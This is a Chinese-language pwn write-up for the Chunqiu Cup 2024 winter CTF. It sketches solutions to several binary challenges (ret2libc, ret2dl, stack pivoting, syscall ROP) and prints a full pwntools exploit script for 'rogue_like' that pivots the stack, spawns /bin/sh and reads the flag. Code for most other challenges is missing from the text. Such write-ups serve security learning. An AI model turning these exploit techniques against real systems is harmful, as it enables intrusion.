春秋杯2024冬季赛 pwn-wp
bypass
首先在本地环境调试时需要拟造一个.BYPASS文件,只要满足条件即可。main
函数可以leak puts, 进而leak libc。0x400978
处的函数可以栈溢出,但由于见0截断,只能用one_gadget打。
1 |
|
gender_simulation
女汉子Tomboy
选项有漏洞(为什么不是南梁选项😭),会将接收到的字符串当做函数指针调用,篡改至gender
函数后打ret2libc即可。
1 |
|
eazy_http
本题主要难点是逆向,pwn漏洞点属于签到题级别,我觉得这题应该出RE()
注意到不仅没给libc,甚至整个程序都没有plt表和got表。这实际上是因为程序直接重写了libc的函数并写死在程序里,然后剥离符号表,提高了逆向难度。
逆向分析部分参考这位大佬的题解:https://xz.aliyun.com/news/16600
不过我调试时一直只有一个进程,与上述题解情况不同,可能是我的环境问题吧。
漏洞点是栈溢出。注意,程序实际上是有canary保护的,需要常规方法泄露canary后再打一次。由于缺失libc,这里的ROP需要利用syscall打,ROP链很长,但基本不用自己写,ROPgadget一把梭即可:
1 |
|
这里还有一个问题,在解析路径时会把路径存到栈上,可我们的ROP部分毁坏了栈,需要弄个长点的pop绕过。
1 |
|
babyshellcode
利用第一次shellcode栈迁移,再通过rop链调用syscall执行read,最后重新执行shellcode
1 |
|
riya
输入n直接给shell……不是,哥们?
toys
官方题解需要多次栈迁移,非常麻烦,令人头大。但这题有个非预期解:ret2dl
,套板子即可。参考春秋杯冬季赛day3 pwn toys非预期解 – 博的blog
板子是这样的:
1 |
|
这是题解:
1 |
|
rogue_like
本题必须搭建远程环境才能复现(原因见下文),可以简单地patchelf后用socat转发端口,也可以使用docker(环境:Ubuntu 18.04)
这题大体思路是利用三次肉鸽,步骤为把tls上的canary置0->alarm got表+5(借此获取syscall的gadget)->off by null进行栈迁移+ROP。看过官方wp后应该不难理解这个大体思路。此题难点主要是这些:
- tls段上的canary的地址难以获得。这里可以在调试时使用
tls
指令查看,依次把tls段上的所有数据都读一遍,和canary
值一致的就是canary的地址。 - 栈迁移随机性太高。这里可以将ROP链前面填满
ret
,这样成功率就会大大增加。 - syscall的
rax
难以控制。但由于第二次读取时,read函数会返回读取的字符数,我们就可以利用这次read控制rax - 在第三关时,程序的标准错误流和标准输出流都会被关闭,导致程序无回显。此处可以利用
exec 1>&0
命令,将stdout重定向到stdin,由于stdin中的内容实际上会对我们显示(shell的回显机制,你的输入会被显示到屏幕上。个别输入比如sudo的密码不会回显),所以shell实际上会恢复正常。注意,这里只有通过远程才能实现。本地这样做是行不通的,这有可能是因为stdin只读、重定向导致冲突等原因。这也是大多数题解本地复现失败的原因之一。
题解如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57#!/usr/bin/env python3
'''
author: GeekCmore
time: 2025-02-24 19:18:38
'''
from pwn import *
filename = "pwn1"
libcname = "./libc-2.27.so"
host = "localhost"
port = 11451
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
'''
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
def start():
if args.P:
return process(elf.path)
elif args.REMOTE:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)
io = start()
io.sendafter(b"> ", b"1")
io.sendafter(b"Sword!\n", str(0x25a8).encode())
io.sendafter(b'> ', b'2')
io.sendafter(b'> ', str(5).encode())
io.sendafter(b'> ', str(0x602058).encode())
io.sendafter(b'> ', b'3')
pop_rdi = 0x4013f4
bin_sh = 0x4019d7
ret = 0x4007fe
pop_rsi = 0x4013f6
pop_rdx = 0x4013f8
pop_rsp = 0x4013fa
payload1 = p64(ret)*(0x16) + p64(pop_rdi) + p64(bin_sh) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rsp) + p64(0x602058)
payload1 = payload1.ljust(0x100, b"\x00")
sleep(1)
io.send(payload1)
sleep(1)
io.send(b"a"*0x3b)
sleep(1)
io.sendline(b'exec 1>&0')
sleep(1)
io.sendline(b"cat flag")
io.interactive()